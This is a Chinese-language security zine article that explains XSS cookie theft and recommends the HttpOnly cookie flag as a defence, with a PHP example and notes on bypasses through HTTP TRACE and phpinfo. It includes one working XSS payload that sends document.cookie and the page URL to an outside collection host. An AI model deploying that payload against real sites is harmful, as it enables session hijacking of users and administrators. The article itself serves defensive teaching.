==Ph4nt0m Security Team==
Issue 0x01, Phile #0x06 of 0x06
|=---------------------------------------------------------------------------=|
|=-------------=[ 利用httponly提升應用程式安全性 ]=--------------=|
|=--------------------=[ By 劍心 ]=--------------------=|
|=--------------------=[ <jnchaha_at_163.com> ]=--------------------=|
随着www服務的興起,越來越多的應用程式轉向了B/S結構,這樣隻需要一個浏覽器就可
以通路各種各樣的web服務,但是這樣也越來越導緻了越來越多的web安全問題。www服務依
賴于Http協定實作,Http是無狀态的協定,是以為了在各個會話之間傳遞資訊,就不可避免地
用到Cookie或者Session等技術來标記通路者的狀态,而無論是Cookie還是Session,一般都
是利用Cookie來實作的(Session其實是在浏覽器的Cookie裡帶了一個Token來标記,伺服器
取得了這個Token并且檢查合法性之後就把伺服器上存儲的對應的狀态和浏覽器綁定),這樣
就不可避免地安全聚焦到了Cookie上面,隻要獲得這個Cookie,就可以取得别人的身份,這對
于入侵者是一件很美妙的事情,特别當獲得的Cookie屬于管理者等高權限身份者時,危害就
更大了。在各種web安全問題裡,其中xss漏洞就是以顯得格外危險。
對于應用程式來說,一旦存在了xss漏洞就意味着别人可以在你的浏覽器中執行任意的
js腳本,如果應用程式是開源的或者功能是公開的話,别人就可以利用ajax使用這些功能,但
是過程往往很煩瑣,特别是想直接獲得别人身份做随意浏覽的話困難就更大。而對于不開源
的應用程式,譬如某些大型站點的web背景(web2.0一個顯著的特征就是大量的互動,使用者往
往需要跟背景的管理者互動,譬如Bug彙報,或者資訊投遞等等),盡管因為互動的存在可能存
在跨站腳本漏洞,但是因為對背景的不了解,無法構造完美的ajax代碼來利用,即使可以用js
取得背景的代碼并回傳分析,但是過程同樣煩瑣而且不隐蔽。這個時候,利用xss漏洞獲得
Cookie或者Session劫持就很有效了,具體分析應用程式的認證,然後使用某些技巧,甚至可
以即使對方退出程式也一樣永久性獲得對方的身份。
那麼如何獲得Cookie或者Session劫持呢?在浏覽器中的document對象中,就儲存了
Cookie的資訊,而利用js可以把這裡面的Cookie給取出來,隻要得到這個Cookie就可以擁有
别人的身份了。一個很典型的xss攻擊語句如下:
xss exp:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url;
一些應用程式考慮到這個問題所在,是以可能會采取浏覽器綁定技術,譬如将Cookie和
浏覽器的User-agent綁定,一旦發現修改就認為Cookie失效。這種方法已經證明是無效的,
因為當入侵者偷得Cookie的同時他肯定已經同時獲得了User-agent。還有另外一種比較嚴
格的是将Cookie和Remote-addr相綁定(其實就是和IP綁定,但是一些程式取得IP的方法有問
題一樣導緻饒過),但是這樣就帶來很差的使用者體驗,更換Ip是經常的事,譬如上班與家裡就
是2個IP,是以這種方法往往也不給予采用。是以基于Cookie的攻擊方式現在就非常流行,在
一些web 2.0站點很容易就取到應用程式的管理者身份。
如何保障我們的敏感Cookie安全呢?通過上面的分析,一般的Cookie都是從document對
象中獲得的,我們隻要讓敏感Cookie在浏覽器document中不可見就行了。很幸運,現在浏覽
器在設定Cookie的時候一般都接受一個叫做HttpOnly的參數,跟domain等其他參數一樣,一
旦這個HttpOnly被設定,你在浏覽器的document對象中就看不到Cookie了,而浏覽器在浏覽
的時候不受任何影響,因為Cookie會被放在浏覽器頭中發送出去(包括ajax的時候),應用程
序也一般不會在js裡操作這些敏感Cookie的,對于一些敏感的Cookie我們采用HttpOnly,對
于一些需要在應用程式中用js操作的cookie我們就不予設定,這樣就保障了Cookie資訊的安
全也保證了應用。關于HttpOnly說明可以參照
http://msdn2.microsoft.com/en-us/library/ms533046.aspx。
給浏覽器設定Cookie的頭如下:
Set-Cookie: <name>=<value>[; <name>=<value>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
以php為例,在php 5.2版本時就已經在Setcookie函數加入了對HttpOnly的支援,譬如
<?php
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
?>
就可以設定abc這個cookie,将其設定為HttpOnly,document将不可見這個Cookie。因為
setcookie函數本質就是個header,是以一樣可以使用header來設定HttpOnly。然後再使用
document.cookie就可以看到已經取不到這個Cookie了。我們用這種方法來保護利例如
Sessionid,如一些用于認證的auth-cookie,就不用擔心身份被人獲得了,這對于一些背景程
序和webmail提升安全性的意義是重大的。再次使用上面的攻擊手法時可以看到,已經不能
擷取被我們設定為HttpOnly的敏感Cookie了。
但是,也可以看到HttpOnly并不是萬能的,首先它并不能解決xss的問題,仍然不能抵制
一些有耐心的黑客的攻擊,也不能防止入侵者做ajax送出,甚至一些基于xss的proxy也出現
了,但是已經可以提高攻擊的門檻了,起碼xss攻擊不是每個腳本小子都能完成的了,而且其
他的那些攻擊手法因為一些環境和技術的限制,并不像Cookie竊取這種手法一樣通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的,關鍵問題是隻要能取到浏覽器發送
的Cookie頭就可以了。譬如以前出現的Http Trace攻擊就可以将你的Header裡的Cookie回
顯出來,利用ajax或者flash就可以完成這種攻擊,這種手法也已經在ajax和flash中獲得修
補。另外一個關于配置或者應用程式上可能Bypass的顯著例子就是phpinfo,大家知道
phpinfo會将浏覽器發送的http頭回顯出來,其中就包括我們保護的auth資訊,而這個頁面經
常存在在各種站點上,隻要用ajax取phpinfo頁面,取出header頭對應的部分就可以獲得
Cookie了。一些應用程式的不完善也可能導緻header頭的洩露,這種攻擊方式對于basic驗
證保護的頁面一樣可以攻擊。
HttpOnly在IE 6以上,Firefox較新版本都得到了比較好的支援,并且在如Hotmail等應
用程式裡都有廣泛的使用,并且已經是取得了比較好的安全效果。
-EOF-